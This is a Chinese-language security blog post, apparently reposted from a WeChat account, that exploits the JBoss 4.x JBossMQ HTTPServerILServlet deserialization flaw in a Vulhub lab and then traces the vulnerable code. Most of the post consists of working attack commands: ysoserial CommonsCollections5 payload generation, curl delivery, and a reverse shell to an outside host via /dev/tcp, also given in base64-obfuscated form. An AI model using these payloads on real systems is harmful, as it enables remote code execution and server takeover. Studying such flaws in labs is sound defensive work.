JBoss 4.x JBossMQ JMS反序列化

admin 2025年1月22日09:24:31评论3 views字数 1478阅读4分55秒阅读模式

影响范围

JBoss AS <=4.x

漏洞概述

在JBoss AS 4.x及之前版本的JbossMQ实现过程中,JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可构造序列化数据利用该漏洞来执行任意代码并获取服务器端的权限

环境搭建

在这里我们使用Vulhub来构建环境:

docker compose up -d

JBoss 4.x JBossMQ JMS反序列化

环境启动后访问地址为:

http://your-ip:8080

JBoss 4.x JBossMQ JMS反序列化

命令执行

漏洞存在该路径下/jbossmq-httpil/HTTPServerILServlet

JBoss 4.x JBossMQ JMS反序列化

Step 1:创建文件

利用在线载荷生成工具生成载荷:

#构造载荷java -jar ysoserial.jar CommonsCollections5 'touch /tmp/success.sh' > 2.ser#执行载荷curl http://192.168.204.137:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @2.ser --output 2.txt

JBoss 4.x JBossMQ JMS反序列化

JBoss 4.x JBossMQ JMS反序列化

反弹Shell

随后使用ysoserial.jar工具进行利用:

Step 1:首先生成要反弹shell的载荷(注意这里的输入输出重定向方向哦"<&1",即将输入输出全部重定向到远程主机,反向shell)

https://ares-x.com/tools/runtime-exec

/bin/bash -i >& /dev/tcp/192.168.204.144/4444<&1

JBoss 4.x JBossMQ JMS反序列化

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}

Step 2:使用ysoserial生成反序列化载荷

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}" > 1.ser

JBoss 4.x JBossMQ JMS反序列化

Step 3:使用CURL发送请求并成功收到反弹的shell

curl http://192.168.204.137:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser --output 1.txt

JBoss 4.x JBossMQ JMS反序列化

漏洞分析

从docker中提取整个Jboss文件到本地:

docker cp 4f5a65ca9830:/opt/jboss /home/jboss

JBoss 4.x JBossMQ JMS反序列化

压缩文件夹

zip -r jboss.zip jboss

JBoss 4.x JBossMQ JMS反序列化

随后解压后使用IDEA打开

JBoss 4.x JBossMQ JMS反序列化

紧接着我们来到server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml

JBoss 4.x JBossMQ JMS反序列化

随后跟进到类org.jboss.mq.il.http.servlet.HTTPServerILServlet,此时如果是POST传递的话,会触发processRequest方法

JBoss 4.x JBossMQ JMS反序列化

随后可以看到这里会进行一次反序列化操作,存在反序列化漏洞:

/jbossmq-httpil/HTTPServerILServlet/*

JBoss 4.x JBossMQ JMS反序列化

参考链接

https://github.com/joaomatosf/JavaDeserH2HC

原文始发于微信公众号(七芒星实验室):JBoss 4.x JBossMQ JMS反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日09:24:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JBoss 4.x JBossMQ JMS反序列化https://cn-sec.com/archives/3658481.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息